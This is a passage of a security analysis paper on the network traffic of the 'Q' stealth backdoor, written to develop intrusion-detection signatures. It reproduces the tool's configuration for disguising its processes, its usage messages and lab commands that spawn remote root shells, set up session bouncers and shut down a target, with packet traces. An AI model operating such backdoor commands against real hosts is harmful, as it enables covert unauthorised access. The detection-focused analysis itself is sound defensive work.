|
|
by Les Gordon
Les.M.Gordon-at-team.telstra.comLes.M.Gordon-at-team.telstra.com
Whilst looking for interesting detects to analyse from www.incidents.org/logs/Raw, I came across the Snort "BACKDOOR Q access" alert and was fascinated by the strange packets. As far as I could tell, nobody else from the IT security community had taken a really good look at Q and published their findings as yet, despite various versions of Q having been around since 1999. My goal for this paper was to investigate Q's capabilities, assess the risk posed by this software, see whether the existing standard Snort signatures and those at www.whitehats.com are in fact adequate, and suggest new signatures which may perhaps be more effective. I will be concentrating on Q's network traffic behaviour in order to develop more effective NIDS detection capability. It's beyond the scope of this paper to detail Q's behaviour and how to identify/locate Q binaries on the compromised host itself.
I investigated versions 0.9, 1.0, 2.0 and 2.4, however I concentrated mainly on versions 1.0 and 2.4, since 1.0 is simply a bug-fixed version of 0.9, and 2.4 is an evolution of 2.0 and I couldn't get the version 2.0 client/server pairs to establish a session. There will be two types of Q traffic that we'll be examining. One is the one-way traffic that is sent by "qs", the Q stealth messenger to "qd", the Q server daemon, and the other is the encrypted remote-shell session traffic. We'll also briefly touch on a bounce/redirector or port-forwarder session.
All testing was conducted using two Red Hat Linux 7.3 and one Windows XP Professional Virtual Machines running under VMware Workstation 3.2/3.3 and confined to their own virtual ethernet network (192.168.2.0/24). The host operating system was Windows XP Professional. Tcpdump version 3.6 with libpcap 0.6 was used to capture the network traces.
Q is a primarily Unix-based remote-access tool that provides stealth capabilities to make it's presence less obvious both on the host, and in network traffic. The product could conceivably be used by sysadmins, but I think it's far more likely to appeal to those with less pure motives. The latest version at time of writing (2.4) may be able to be compiled and run on W32 systems as well, although I didn't try this myself. All versions of Q are compiled as a client/server pair. Different client/server pairs cannot establish usable sessions with each other by default. "qd" is the server portion of Q. "qs" is used to send covert messages to the qd server. These messages are used to remotely execute privileged commands, invoke single-use encrypted remote shell processes, and to set up port redirection or "bounce" servers on the target host.
Q has evolved over a number of years and seems to have been developed more or less in parallel with the ubiquitous Tribe Flood Network (TFN) and TFN2K Distributed Denial of Service software. All of these are the work of Mixter[1], and claim to be proof of concept - the idea being to scare IT security folk into taking system security more seriously and relying less on perimeter defences. Mixter points out quite rightly that there are more capable tools than the ones he has made public that are being developed and used privately. The only problem is, that making this code public has encouraged another whole demographic - the "script kiddie" - to make use of it. The stealth messaging concept used by TFN has also been used in Q, but expanded upon by adding TCP and UDP-based messages as well as ICMP. TFN2K later went on to use this expanded capability also. David Dittrich performed a great analysis of TFN[2] and Jason Barlow and Woody Thrower did the same for TFN2K[3]. I could find no previous analysis of Q specifically, and referred mainly to the documentation (and source) available on Mixter's web-site in addition to my own testing and observation whilst writing this paper. I'll begin by discussing v1.0, touch on v2.0 and then move on to v2.4, and will describe notable differences.
v0.9 and v1.0 are virtually identical, apart from a few minor bug-fixes. The Q v1.0 software is comprised of several components:
By default, qs v1.0 selects source and destination ports at random for control packets, but these can be specified on the command-line, and you can choose between TCP, UDP or ICMP protocols for sending the "stealth" activation packets. Source and destination ports can be specified for the Q client as well. This allows a great deal of flexibility for an attacker to get traffic through a firewall. Stateful inspection firewalls may offer better protection against the TCP raw IP packets, which never actually establish a real TCP connection.
The qd server uses raw sockets to
watch all TCP, UDP and ICMP traffic sent to the host it's running on,
and accepts traffic that it recognises as having been generated by qs. It doesn't care what destination port is
used, nor does it care which protocol is used. This type of "sniffing"
of packets is different to having the network adapter listen to all traffic on
the wire in promiscuous mode. qd only
sees traffic addressed to the host that qd is running on, at layer 3, and only
for the 3 IP protocols already mentioned.
#ifndef _CONF_H
#define _CONF_H
#error "Please read the
documentation and edit this include!"
#define Q_ID 12345 /* a number from 1 to 65535 */
#define Q_SHELL "sh" /* bash, sh, csh, ksh (yuck!), etc. */
#define Q_UID 1 /* if defined, run redirects as this user */
#undef Q_SYSLOG /* define this, and the daemon will swallow
syslog messages that would get sent to
console if syslogd is not running */
#define HIDDEN "syslogd " /*
qdaemon disguised */
#define HARMLESS1
"ftpd " /* ssh disguised */
#define HARMLESS2
"httpd " /* red disguised */
/* these should be numbers
from 1 to 254 */
#define CODE_EXEC 10 /* a single command */
#define CODE_SSHD 20 /* encrypted q-shell */
#define CODE_RED 30 /* plain/crypt relay */
#endif
Figure 1 -
Standard Q v1.0 conf.h file
The standard
conf.h file shown in Figure 1 defines things like the static IP ID value used
(12345 is the default), the type of shell to execute for remote sessions, the
user-id to use for the session bouncer/redirector, whether syslog logging of Q
sessions is enabled or not, what names to disguise the Q processes as, and what
"code" numbers to use for activating Q's various capabilities (these
act like passwords). Note the line
beginning with "#error". The software will not compile until you remove this line - this
is to encourage the default values in this file to be changed.
./qs [-nisdp] <-CSB> <host> [more hosts...]
-n insecure plaintext servers [encrypted]
-i <n>
protocol: 1 tcp 2 udp 3 icmp
[tcp]
-s <n>
tcp/udp: source port, icmp: type
[random]
-d <n>
tcp/udp: dest port, icmp: code
[random]
-p <n>
shell/bouncer server source port
-S
spawn qshell server
-B <host port>
spawn qbounce to <host port>
-C <cmd>
execute <cmd>
Figure 2 - qs usage message
The qs usage message in Figure 2 shows us
some of the capabilities of this software.
qs is used to send crafted "stealth" messages to
"qd" using raw sockets (SOCK_RAW), that are a reasonable facsimile of
what normal TCP, UDP or ICMP packets look like. In this version, TCP is the default protocol used. Assuming that you have managed to install a
compatible qd on the target, you can use qs to execute commands on the target
as root or instruct qd to spawn a listener process which can be either a Q
secure shell, or a Q session bouncer that will redirect your session to a 3rd
party.
./qs
-d 31337 -p 1028 -S 192.168.2.128
*** sending tcp packet to
192.168.2.128 destination port 31337
request: spawn shell, port 1028
12:36:46.208815
101.41.2.20.455 > 192.168.2.128.31337: . [bad tcp cksum 4e65!]
588177080:588177087(7) ack 13961520 win 13004 (ttl 240, id 12345, len 47)
0x0000 4500 002f 3039
0000 f006 702a 6529 0214
E../09....p*e)..
0x0010 c0a8 0280 01c7 7a69 230e deb8 00d5 0930 ......zi#......0
0x0020 5210 32cc cec8 0000 3120 3130 3238 00 R.2.....1.1028.
Figure 3 -
qs v1.0 control message using TCP
Figure 3 is tcpdump output (using "tcpdump -nnvvX") of the network traffic resulting from the execution of the shown qs command. Note that the payload is clear text - i.e. not encrypted. Later versions do not have this weakness. Note also the bad tcp checksum. I feel that this is in fact by design, rather than a bug. Having an incorrect checksum here means that the regular TCP at the receiving end will not process the segment, believing it to be corrupt. Instead it will be dropped quietly. This doesn't bother qd, because qd watches for all TCP traffic using SOCK_RAW and will accept and process this packet. This behaviour prevents the target machine from generating TCP RST artefacts back to the spoofed source. Another odd characteristic of this generation of qs is that it always sets one of the TCP reserved bits in the high-order nibble (the relevant nibble is bolded and underlined in Figure 3). This may just be a bug or it may serve some other purpose (My C programming skills were too rudimentary to work it out). Other general characteristics relevant to the TCP packets are that the TCP ACK bit is always set, and the TCP sequence, acknowledgement number and window size are always randomly generated values.
./qs
-i 2 -d 31337 -p 1028 -S 192.168.2.128
*** sending udp packet to
192.168.2.128 destination port 31337
request: spawn shell, port 1028
12:38:27.454077
131.198.0.20.6137 > 192.168.2.128.31337:
[bad udp cksum 4e65!] udp 7 (ttl 240, id 12345, len 35)
0x0000 4500 0023 3039
0000 f011 538e 83c6 0014
E..#09....S.....
0x0010 c0a8 0280 17f9 7a69 000f 2c94 3120 3130 ......zi..,.1.10
0x0020 3238 0000 0000 0000 0000 0000 0000 28............
Figure 4 -
qs v1.0 control message using UDP
Figure 4 shows
us the tcpdump trace of the same qs command, but using UDP as the
transport. Again, the checksum value is
incorrect, by design. The payload is
much the same as for the TCP packet. We
have a different random source IP address this time and all of the other
tell-tale characteristics of the qs-generated IP packet are there - The IP ID
is fixed to the value set in the file "conf.h" shown back in Figure
1; the IP TTL is always 240 and the IP Type Of Service field is always zero
(both defined in "forge.c").
Unfortunately, since UDP is such a simple protocol, there are no obvious
flaws from which a reliable Snort NIDS signature could be drawn.
./qs
-i 3 -p 1028 -S 192.168.2.128
*** sending icmp packet to
(null), type 0, code 0
request: spawn shell, port 1028
12:39:35.717910 76.24.3.20
> 192.168.2.128: icmp: echo reply (wrong icmp csum) (ttl 240, id 12345, len
35)
0x0000 4500 0023 3039
0000 f001 884c 4c18 0314
E..#09.....LL...
0x0010 c0a8 0280 0000 f3c3 0000 0000 3120 3130 ............1.10
0x0020 3238 0000
0000 0000 0000 0000 0000 28............
Figure 5 -
qs v1.0 control message using ICMP
In figure 5, we look at an ICMP packet
generated by qs v1.0. All the usual
unchanging values are there in the IP header, and for ICMP we note that qs uses
an ICMP echo reply (code 0, type 0).
This type of packet should never draw a reply from the recipient, but we
still note that the ICMP checksum is incorrectly calculated. Later versions of qs do in fact calculate
this correctly. Something interesting
here is that the ICMP echo reply identifier or sequence number fields are both
zero. According to W. Richard Stevens[4],
"As with other ICMP query messages, the server must
echo the identifier and sequence number fields" and "The
sequence number starts at 0 and is incremented every time a new echo request is
sent". So, the sequence number could be zero if
this were the 1st packet of a ping, but what are the chances that
the identifier would also be zero? On a
Unix system, this is set to the process ID of the sending process - others may
generate a unique random value.
Examining the payload, the 1st thing we see is "31".
This tells qd that qs wants it to specify that encryption is required
for any shell processes it spawns. If
encryption is not required, we'd see a "30"
here instead. Next we see "20" (space character), which
is simply the delimiter. Following that we see "31303238", which is hex for the
ASCII characters "1028" - the port number that we specified on the qs
command-line using the option "-p".
Assuming that we had a compatible version of
qd running on 192.168.2.128 and that at least one of these packets made it
through the site's defences, we should now have a Q encrypted shell process
listening on port 1028. Let's now take a look at one of these sessions through
the eyes of tcpdump and connect to our target - refer to Figure 6. We need to
enter an encryption key - the same one (min 8 characters) that is prompted for
at compile time.
#
./Q 192.168.2.128 888 53
Key:
[connected to
192.168.2.128:888]
id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Figure 6a -
Connecting to a Q secure shell process using Q v1.0
Note that in the interests of brevity, I've removed superfluous ACK packets. The first exchange we see in Figure 6b is the familiar TCP 3-way handshake. Next is our command "id", AES[5] encrypted and base-64 encoded. Following is the returned response that you can see in Figure 6a, also encrypted and base-64 encoded. There are a few things to note here. Raw sockets are not used for these sessions. This is the normal TCP/IP stack. Note the incrementing IP ID values, matching sequence & acknowledgment numbers etc. The 2nd thing is that base-64 encoding results in ASCII output, and trailing nulls become 'A's. This is a weakness and a potential signature, although in the absence of other defining characteristics, the likelihood of false positives is fairly high. Another thing is that since these sessions use the standard TCP/IP protocol stack and real TCP sessions, we can learn a lot about the end-points by using passive fingerprinting techniques, such as matching up TCP options, TCP window sizes, guessing initial TTLs and so on. We can also be fairly certain that the source IP used has not been spoofed, although it also likely that this IP doesn't belong to the attacker and is just one in a long chain of session "bouncers" and open proxies used to hide the attacker's actual location.
14:27:47.263450
192.168.2.130.32874 > 192.168.2.128.888: S [tcp sum ok] 4244145042:4244145042(0)
win 5840 <mss 1460,sackOK,timestamp 3727322 0,nop,wscale 0> (DF) (ttl 64,
id 23624, len 60)
14:27:47.264275
192.168.2.128.888 > 192.168.2.130.32874: S [tcp sum ok] 4282600567:4282600567(0) ack 4244145043
win 5792 <mss 1460,sackOK,timestamp 8354523 3727322,nop,wscale 0> (DF) (ttl
64, id 0, len 60)
14:27:47.427634
192.168.2.130.32874 > 192.168.2.128.888: . [tcp sum ok] 1:1(0) ack 1 win 5840
<nop,nop,timestamp 3727323 8354523> (DF) (ttl 64, id 23625, len 52)
14:27:50.315492
192.168.2.130.32874 > 192.168.2.128.888: P [tcp sum ok] 1:27(26) ack 1 win 5840
<nop,nop,timestamp 3727635 8354523> (DF) (ttl 64, id 23626, len 78)
0x0000 4500 004e 5c4a
4000 4006 580d c0a8 0282
E..N\J@.@.X.....
0x0010 c0a8 0280 806a 0378 fcf8 8393 ff43 4c78 .....j.x.....CLx
0x0020 8018 16d0 c56a
0000 0101 080a 0038 e113
.....j.......8..
0x0030 007f 7adb
6873 7836 7a55 686d 5336 6330 ..z.hsx6zUhmS6c0
0x0040 6871 345a 3663 4266
5551 4141 4141 hq4Z6cBfUQAAAA
14:27:52.323310
192.168.2.128.888 > 192.168.2.130.32874: P [tcp sum ok] 1:140(139) ack 27 win 5792 <nop,nop,timestamp 8355028 3727635>
(DF) (ttl 64, id 13988, len 191)
0x0000 4500 00bf 36a4
4000 4006 7d42 c0a8 0280
E...6.@.@.}B....
0x0010 c0a8 0282 0378 806a ff43 4c78 fcf8 83ad .....x.j.CLx....
0x0020 8018 16a0 6d59
0000 0101 080a 007f 7cd4
....mY........|.
0x0030 0038 e113
6844 7a65 6f51 6558 5045 612b .8..hDzeoQeXPEa+
0x0040 7844 4247 332b 3737
7544 6950 394e 7a68 xDBG3+77uDiP9Nzh
0x0050 514f 474a 6273 7265
7667 4e71 6f34 5851 QOGJbsrevgNqo4XQ
0x0060 5351 6e62 6f54 5a42
4630 3135 6f43 322f SQnboTZBF015oC2/
0x0070 5952 5130 336d 5732
382b 5435 7267 6958 YRQ03mW28+T5rgiX
0x0080 4b6b 3146 777a 6c59
6479 6e73 7853 7938 Kk1FwzlYdynsxSy8
0x0090 4c69 7a78 346b 536f
5662 4b6b 4343 7642 Lizx4kSoVbKkCCvB
0x00a0 354b 4a68 3230 3749
5465 3462 775a 6b78 5KJh207ITe4bwZkx
0x00b0 4568 7141 4141 4141 4141 4141 4141 41 EhqAAAAAAAAAAAA
14:27:52.436212
192.168.2.130.32874 > 192.168.2.128.888: . [tcp sum ok] 27:27(0) ack 140 win 5840 <nop,nop,timestamp 3727842 8355028> (DF)
(ttl 64, id 23627, len 52)
Figure 6b -
Connecting to a Q secure shell process using Q v1.0 - tcpdump trace
Next we look at the encrypted payload from three
different sessions. All sessions have
the same payload. The 1st
two are by the same client/server pair, and the 3rd is generated by
a different client/server pair, using a different encryption key.
0x0030 0081 c79a
6464 4f68 6f41 3133 794c 474c ....ddOhoA13yLGL
0x0040 6d43 4a63 6f4d 6b37
5651 4141 4141 mCJcoMk7VQAAAA
0x0030 0082 a940
6464 4f68 6f41 3133 794c 474c ...@ddOhoA13yLGL
0x0040 6d43 4a63 6f4d 6b37
5651 4141 4141 mCJcoMk7VQAAAA
Figure 7 -
Payload from two Q sessions using the same encryption key
0x0030 007f 7adb
6873 7836 7a55 686d 5336 6330 ..z.hsx6zUhmS6c0
0x0040 6871 345a 3663 4266
5551 4141 4141 hq4Z6cBfUQAAAA
Figure 8 - Payload from a Q session using a different encryption key to
those in Figure 7
The results
displayed in Figure 7 and 8 suggest that the encryption algorithm used by Q
v1.0 will generate the same hash repeatedly, given the same input. This is a possible weakness, although in
reality it would not be trivial to exploit.
It may be possible to brute force the encryption key if one knew the
encryption algorithm used and what the unencrypted string was, however with a
strong key (min 8 characters by default) this could take some doing.
Refer to Figure 9
to see what a request for a session "bouncer" looks like. The "-p" option specifies the port
that the session bouncer should listen for connections on and the "-B
"192.168.1.1 23" option specifies that the session will be redirected
to 192.168.1.1, port 23. The session
between this host and the host running the session bouncer can be encrypted
(not in this case, because I specified "-n"), whereas the session
traffic bounced from that server to the ultimate target, is never encrypted.
./qs
-i 1 -n -p 888 -B "192.168.1.1 23" 192.168.2.128
*** sending tcp packet to
192.168.2.128 (no encryption)
request: spawn bouncer, port 888, dest ip 192.168.1.1, dest
port 23
13:01:20.764650
114.18.6.30.37762 > 192.168.2.128.21318: . [bad tcp cksum 4e65!] 1857365197:1857365218(21) ack 1001985933 win 18408 (ttl 240, id 12345, len 61)
0x0000 4500 003d 3039
0000 f006 5f29 7212 061e
E..=09...._)r...
0x0010 c0a8 0280 9382 5346 6eb5 24cd 3bb9 178d ......SFn.$.;...
0x0020 5010 47e8 0cc4 0000 3020 3838 3820
3233 P.G.....0.888.23
0x0030 2031 3932 2e31 3638 2e31 2e31 00 .192.168.1.1.
Figure 9 -
Requesting a session "bouncer" using qs v1.0 - command/output +
tcpdump trace
Referring to Figure 9, note that the "30" indicates a request for an unencrypted shell, "20" is the command parameter delimiter, "383838" indicates that the session redirection server should listen on port 888, and the subsequent space-delimited parameters "23" and "192.168.1.1" indicate the port and IP address of the 3rd party target to which the session is to be forwarded.
Finally, in Figure 10, you will see a qs request to execute a command on the target (192.168.2.128) server running qd. Note that there is no encryption of the payload.
./qs
-C "init 0" 192.168.2.128
*** sending tcp packet to
192.168.2.128 (no encryption)
request: run command 'init 0'
13:11:08.679773
0:50:56:f2:ed:f9 0:50:56:eb:22:77 0800 61: 56.57.0.10.376 >
192.168.2.128.51665: . [bad tcp cksum
4e65!] 181925536:181925543(7) ack
93242435 win 10025 (ttl 240, id 12345,
len 47)
0x0000 4500 002f 3039
0000 f006 9f24 3839 000a
E../09.....$89..
0x0010 c0a8 0280 0178 c9d1 0ad7 f6a0 058e c443 .....x.........C
0x0020 5210 2729 9c44
0000 696e 6974 2030 00 R.').D..init.0.
Figure 10 -
Requesting remote command execution with qs v1.0 - command/output + tcpdump
trace
Version 2.0 sees an almost complete re-write of this software. Mixter has produced a library called libmix (libmix-v107 comes with Q-2.0), which is a collection of functions designed specifically for crafting TCP, UDP and ICMP packets using raw IP. It also provides cryptographic and other general functions. libmix is also used by the ubiquitous TFN2K or Tribe Flood Network 2000. In fact, the functions used by qs and qd to communicate (still one-way, of course) in V2.x are even called "tfntransmit" and "tfnread". These functions now incorporate the ability to encrypt the payload of qs packets. Since v2.0, what used to be the Q client 'Q' is now 'q'. q can run qs for you, rather than it having to be a separate step as before. "transd" is now built into 'q'. Version 2.0 incorporates Mixter's own challenge authentication scheme "CSA". Q v2.x generates a random "auth number" automatically in the file hash.h at compile time. You are strongly encouraged to make a note of these credentials, and then remove that file. If you need to connect to a server that was compiled with a different auth number than your q client, then you can supply the number with the command-line option '-s'.
With regards to protocol header characteristics for packets generated by qs v2.0, they appear to be identical to those generated by v2.4. Shell sessions use the normal TCP/IP stack and should follow the standard rules for that protocol as implemented by the Operating System they're running on. It's now easier to choose a different encryption algorithm. From "q.h":
/* AES Algorithm, one of: CAST256,
MARS, SAFERP, TWOFISH, RIJNDAEL */
#define Q_ALG SAFERP
#endif
This release changes from CSA to RSA style authentication for remote shell and session bouncer sessions, introduces Mixter's own SSL-style protocol, "iSSL" and uses Rijndael encryption. RSA bit strength is 4096 bits by default, although this can be reduced (minimum is 1536) to improve performance. Versions of Q prior to 2.4 prompted for an encryption key at compile time. That's now optional and not required by default. The README file for v2.4 gives a inkling that since version 2.2, Q may compile and run on W32 systems as well as Unix and describes the extensive security and privacy features incorporated in the latest publicly available version (2.4):
2.2
Tunneling version release by zer0.
Incorporated changes and
win32 compatibility fixes from zer0
<z00er0@hotmail.com>
SECURITY STATEMENT
....Control packets contain double
AES encrypted data and are authenticated with an authentication token that is
not sent over the network in plaintext. The server has the ability to log all
incoming queries to syslog........ Client/server sessions (encrypted
redirection and interactive shells) are AES encrypted and authenticated with both
authentication and a password. The Q
program suite uses CSA, a password challenging method, which determines the
password out of a secure one-way hash, and the highly secure RSA with for
establishing longer shell/bouncer sessions. Temporary, changing strong RSA keys
ensure that connections cannot be eavesdropped easily.....[6]
#ifndef _CONF_H
#define _CONF_H
#define Q_RSABITS 4096
#define Q_SHELL "sh" /* bash, sh, csh, ksh (yuck!), etc. */
#define Q_UID 1 /* if defined, run redirects as this user */
#define HIDDEN "klogd" /* qdaemon process name disguised */
#define HARMLESS1
"ftpd" /* ssh process
name disguised */
#define HARMLESS2
"httpd" /* red process
name disguised */
#define CODE_EXEC
"++exec+" /* a single
command */
#define CODE_SSHD
"++ssh+" /* encrypted
q-shell */
#define CODE_RED "++red+" /* plain/crypt relay */
#define CODE_SHL "++shell+" /* change default shell */
#define CODE_UID "++uid+" /* change default uid */
#define CODE_TT "++tunnel+" /* tunneling mode, not implemented */
#define WANT_LOGGING /* send authentication messages to
syslog */
#define PIDFILE ".q" /* pid file, to keep qd from spawning multiple
instances of itself, optional */
#endif
Figure 11 -
standard Q "conf.h" file
Let's begin by referring to Figure 11 and looking at the standard "conf.h" file for Q v2.4. This time there is nothing which forces you to change any defaults, but any respectable hacker would want to disable messages being generated to syslog and probably wouldn't want any files named ".q" containing the Q daemon's process ID created. :) Almost all protocol header fields used in packets generated by executing qs are now randomly generated, so no IP ID value is statically defined here this time. Extra CODE_* values hint at extra functionality. Refer to Figure 12 for a look at the usage message:
./qs [-p] [-niasd] <-CSB> <host> [more
hosts...]
-p <n> shell/bouncer server listening port
-n
insecure plaintext servers
[encrypted]
-i <n>
protocol (I/U/T)
[random]
-a <n>
custom auth token
[hardcoded]
-s <n> source IP [random]
-S
spawn qshell server
-B <host port>
spawn qbounce to <host port>
-C <cmd>
execute <cmd>
-P <prg>
set a new program as remote shell
-U <uid> set a new user id for redirecting
Figure 12 -
qs v2.4 usage message
qs now allows you to specify the spoofed source IP address of control packets sent to activate servers or execute remote commands. By default, they are randomly generated. The protocol used is now randomly chosen between TCP, UDP and ICMP, unless otherwise specified. This version (and 2.0) seems to have a bug which prevents you from selecting a protocol of your own choosing - you are stuck with the random choice. As well as executing remote commands using the shell predefined in the "conf.h" file, you can now specify what remote program to use as your remote shell using qs.
Refer to the command shown in Figure 13 - because I was unable to get the "-i" option working, I simply executed the same command repeatedly. As the default is to select a protocol at random, I eventually ended up with samples of each - refer to Figures 13-16.
./qs
-p 1028 -S 192.168.2.128
[*] request: shell, port 1028
[*] sending control packet to
192.168.2.128 (encrypted)
Figure 13 -
qs v2.4 request to spawn a remote encrypted shell - command/output
In figures 14 and 15, notice that we still have the now familiar incorrectly calculated checksums for TCP and UDP, but in Figure 16, the ICMP checksum is now calculated correctly. This is probably because an ICMP echo reply should never elicit a response, regardless of the state of the checksum, whereas TCP and UDP would likely reply to the spoofed source address.
21:13:54.991534
237.187.96.0.31490 > 192.168.2.128.14153: S [bad tcp cksum 95ff!]
4446272:4446378(106) ack 0 win 0 (ttl 223, id 20431, len 126)
0x0000 4500 007e 4fcf
0000 df06 7ac6 edbb 6000
E..~O.....z...`.
0x0010 c0a8 0280 7b02 3749 0043 d840 0000 0000 ....{.7I.C.@....
0x0020 0012 0000 58a2 0000 6742 6b53 7777 464c ....X...gBkSwwFL
0x0030 466d 766a 6f47 3467 5665 7974 4561 4c36 FmvjoG4gVeytEaL6
0x0040 376f 346c 4963 6563 5448 7164 5054 3233 7o4lIcecTHqdPT23
0x0050 4669 4e4f 5046 4b72 314c 7670 7345 4676 FiNOPFKr1LvpsEFv
0x0060 6950 2f43 6851 2b36 4372 6e33 5151 5042 iP/ChQ+6Crn3QQPB
0x0070 376f 7656 6132 4235 4d2f 5157 5577 7ovVa2B5M/QWUw
Figure 14 -
qs v2.4 request to spawn a remote encrypted shell (TCP) - tcpdump trace
In figure 14, note that the TCP header length field is always set to zero. This is a useful signature, although it's probably easy enough for a seasoned coder to correct this flaw. Looking at the c code, I don't think this behaviour was intentional. In this particular example, we ended up with TCP ACK and Window sizes of zero, however, most header fields for raw IP control packets generated by 'qs' are now randomly generated, including Source IP address, IP ID (>=1024), initial TTL (>=200), presence or absence of TCP SYN and/or ACK flags, TCP (and UDP) source and destination ports, TCP Sequence and Acknowledge numbers, ICMP ID and sequence numbers (>=0). The algorithm is not clever enough to take into account that it's ok to have, for instance a TCP acknowledgment number of zero if the TCP SYN flag is set, but not if there is no SYN flag set, and so on. Every now and then, inappropriate values are generated for fields. It's possible to draw "all ones" and "all zeros" values for many fields, including the spoofed source IP address.
21:13:52.628616
236.79.203.0.56105 > 192.168.2.128.15577:
[bad udp cksum 1785!] udp 56
(ttl 233, id 45962, len 114)
0x0000 4500 0072 b38a
0000 e911 a377 ec4f cb00
E..r.......w.O..
0x0010 c0a8 0280 db29 3cd9 0040 dc2b
6742 6b53
.....)<..@.+gBkS
0x0020 7777 464c 466d 766a 6f47 3467
5665 7974 wwFLFmvjoG4gVeyt
0x0030 4561 4c36 376f 346c 4963 6563 5448 7164 EaL67o4lIcecTHqd
0x0040 5054 3233 4669 4e4f 5046 4b72 314c 7670 PT23FiNOPFKr1Lvp
0x0050 7345 4676 6950 2f43 6851 2b36 4372 6e33 sEFviP/ChQ+6Crn3
0x0060 5151 5042 376f 7656 6132 4235 4d2f 5157 QQPB7ovVa2B5M/QW
0x0070 5577 Uw
Figure 15 -
qs v2.4 request to spawn a remote encrypted shell (UDP) - tcpdump trace
In Figures 14-16, note that a portion of the encrypted payload is always the same, at least for this client/server pair using this particular encryption algorithm. The encrypted result will change for different client/server pairs, compiled using different randomly generated auth IDs and encryption keys, and also where different encryption algorithms to the default (SAFERP) are specified.
21:13:53.898454 102.239.104.0
> 192.168.2.128: icmp: echo reply (ttl 236, id 7800, len 114)
0x0000 4500 0072 1e78
0000 ec01 1dfb 66ef 6800
E..r.x......f.h.
0x0010 c0a8 0280 0000 324d 0000
2671 4466 4e62 ......2M..&qDfNb
<snipped for brevity -
identical to UDP output in Figure 15>
Figure 16 -
qs v2.4 request to spawn a remote encrypted shell (ICMP) - tcpdump trace
In Figure 16, note that we have drawn an ICMP echo reply identifier value of zero, and a rather large ICMP echo sequence number of 0x2671 (decimal 9841). Anomalies such as this are likely the best way to catch this version of Q out.
Version 2.0 encrypts the payload of control
packets and the only thing to note in the payload is that for any given
content, given the same encryption scheme and key, the same payload is
generated repeatedly, regardless of the protocol used i.e. TCP, UDP or
ICMP. Also, Mixter no longer uses
base-64 encoding (so no trailing 'A's).
The protocol-header characteristics and anomalies are identical to v2.4.
Figure 17a examines a session establishment using 'q'. As with version 1.0, notice that this is a "normal" TCP connection, NOT using raw sockets, and that all the usual rules are followed i.e. incrementing IP ID values etc. Passive O/S fingerprinting and identification of the source is possible. During this establishment phase, we see the exchange of a 4096 bit hash of the encryption key. The highlighted data would appear to be a protocol header for the key exchange mechanism and a potential candidate for a NIDS signature - we'll see how much this data changes later, from algorithm to algorithm and depending upon the bit-strength chosen for the hash.
./q
-l 1028 192.168.2.128
...+++++
............................+++++
[connected to
192.168.2.128:1028]
22:07:46.948617
192.168.2.130.32917 > 192.168.2.128.1028: S [tcp sum ok] 354037143:354037143(0)
win 5840 <mss 1460,sackOK,timestamp 6202934 0,nop,wscale 0> (DF) (ttl 64,
id 35745, len 60)
22:07:46.952743 192.168.2.128.1028
> 192.168.2.130.32917: S [tcp sum
ok] 3364650016:3364650016(0) ack
354037144 win 5792 <mss 1460,sackOK,timestamp 1188874 6202934,nop,wscale
0> (DF) (ttl 64, id 0, len 60)
22:07:47.051268
0:50:56:f2:ed:f9 0:50:56:eb:22:77 0800 66: 192.168.2.130.32917 >
192.168.2.128.1028: . [tcp sum ok] 1:1(0) ack
1 win 5840 <nop,nop,timestamp 6202935 1188874> (DF) (ttl 64, id 35746, len 52)
22:07:47.051314
192.168.2.130.32917 > 192.168.2.128.1028: P [tcp sum ok] 1:537(536) ack 1 win 5840
<nop,nop,timestamp 6202936 1188874> (DF) (ttl 64, id 35747, len 588)
0x0000 4500 024c 8ba3
4000 4006 26b6 c0a8 0282
E..L..@.@.&.....
0x0010 c0a8 0280 8095 0404 151a 2d98 c88c 7c21 ..........-...|!
0x0020 8018 16d0 ba6c
0000 0101 080a 005e a638
.....l.......^.8
0x0030 0012 240a
8000 0000 8000
0000 8000 0000 ..$.............
0x0040 0000 0000 0000 0000 0000 0000 3322 7f95 ............3"..
0x0050 16b7 0cdf c696 a626 a843 5462
4b55 0f50 .......&.CTbKU.P
0x0060 2d8f 14e6 855b ac0e 171c 1428
91e7 d613 -....[.....(....
0x0070 220d 94f5 6705 cc36 f5ff 4b3e
67a1 8129
"...g..6..K>g..)
0x0080 7a8b 59c5 f8c4 189b a27b 8387
64a4 eb6d z.Y......{..d..m
<snipped for brevity>
0x0240 cac6 a443 f9b2 df0a be8c
6596 ...C......e.
22:07:47.026028
192.168.2.128.1028 > 192.168.2.130.32917: P [tcp sum ok] 1:537(536) ack 537 win 6432
<nop,nop,timestamp 1188875 6202936> (DF) (ttl 64, id 22572, len 588)
0x0000 4500 024c 582c
4000 4006 5a2d c0a8 0280
E..LX,@.@.Z-....
0x0010 c0a8 0282 0404 8095 c88c 7c21 151a 2fb0 ..........|!../.
0x0020 8018 1920 e11a
0000 0101 080a 0012 240b
..............$.
0x0030 005e a638
8000 0000 8000
0000 8000 0000 .^.8............
0x0040 0000 0000 0000 0000 0000 0000 d742 f293 .............B..
0x0050 c790 d5bb 9927 2c88 8fda f040
4e9b d178 .....',....@N..x
0x0060 d72e 7d58 453f fb38 42f0 9226
db33 3f1a ..}XE?.8B..&.3?.
0x0070 98aa b49c 6d77 091d c3ed 20b6
eab8 f9c4 ....mw..........
0x0080 268d 8df3 e1b9 97c0 03c0 95e1
409c 4633 &...........@.F3
<snipped for brevity>
0x0240 6540 7718 fce2 2679 ed5b
1fa4 e@w...&y.[..
22:07:47.027458
192.168.2.130.32917 > 192.168.2.128.1028: . [tcp sum ok] 537:537(0) ack 537 win 6432 <nop,nop,timestamp
6202939 1188875> (DF) (ttl 64, id 35748, len 52)
22:07:47.027480
192.168.2.130.32917 > 192.168.2.128.1028: P [tcp sum ok] 537:565(28) ack 537
win 6432 <nop,nop,timestamp 6202939 1188875> (DF) (ttl 64, id 35749, len
80)
0x0000 4500 0050 8ba5
4000 4006 28b0 c0a8 0282
E..P..@.@.(.....
0x0010 c0a8 0280 8095 0404 151a 2fb0 c88c 7e39 ........../...~9
0x0020 8018 1920 e845
0000 0101 080a 005e a63b
.....E.......^.;
0x0030 0012 240b
0100 0000 0100
0000 0100 0000 ..$.............
0x0040 0000 0000 0000 0000 0000 0000 1100 0000
................
22:07:47.028364
192.168.2.128.1028 > 192.168.2.130.32917: P [tcp sum ok] 537:565(28) ack 565
win 6432 <nop,nop,timestamp 1188875 6202939> (DF) (ttl 64, id 22573, len
80)
0x0000 4500 0050 582d
4000 4006 5c28 c0a8 0280
E..PX-@.@.\(....
0x0010 c0a8 0282 0404 8095 c88c 7e39 151a 2fcc ..........~9../.
